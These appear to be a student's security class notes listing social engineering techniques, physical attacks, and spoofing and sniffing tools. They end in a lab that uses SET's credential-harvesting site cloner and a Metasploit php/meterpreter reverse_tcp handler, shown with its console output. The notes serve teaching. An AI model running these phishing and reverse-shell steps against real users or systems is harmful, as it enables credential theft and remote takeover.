Class: 08 (03 Oct 2024)

Popular Social Engineering Attack:

1. Impersonation
2. Phishing → very popular attack
3. Whaling and vishing → send email a specific person("the big fish")
4. Smishing
5. Spam → spam over instant messaging (spIM)
6. Spear phishing
7. Eliciting information → future attack
8. Prepending →facebook.com@192.168.15.24
9. Identity fraud
10. Invoice scams
11. Credential harvesting
12. Reconnaissance
13. Influence campaigns/hybrid warfare

Shoulder Surfing and Dumpster Diving

Tailgating

Hoaxes

Physical Attack:

1. Malicious Universal Serial Bus (USB) cable
2. Malicious flash drive
3. Card cloning
4. Skimming

Adversarial Artificial Intelligence

Supply-Chain Attack

Reasons for Effectiveness of Social Engineering Attacks:

1. Authority
2. Intimidation
3. Consensus/Social proof
4. Scarcity
5. Urgency
6. Familiarity/liking
7. Trust

Spoofing: alter the source information

1. Nemesis
2. Hping2
3. Macchanger

Different Packet sniffing software

1. Wireshark
2. Tcpdump
3. Airodump-ng

Pass the Hash

SAM file store hash type password

Lab

sudo su

setoolkit→1→2→3→2→Enter→(go another terminal)

sudo su

msfconsole

use exploit.multi/handler

use payload php/meterpreter/reverse_tcp

< https://iitju.org/ >

msf6 exploit(multi/handler) > use LHOST 192.168.10.196

[-] No results from search

[-] Failed to load module: LHOST

msf6 exploit(multi/handler) > use LHOST 192.168.10.196

[-] No results from search

[-] Failed to load module: LHOST

msf6 exploit(multi/handler) > set LHOST 192.168.10.196

LHOST => 192.168.10.196

msf6 exploit(multi/handler) > set LHOST 192.168.10.196

LHOST => 192.168.10.196

msf6 exploit(multi/handler) > set LPORT 444

LPORT => 444

msf6 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 192.168.10.196:444

^C[-] Exploit failed [user-interrupt]: Interrupt

[-] exploit: Interrupted

msf6 exploit(multi/handler) >

Enter id and pass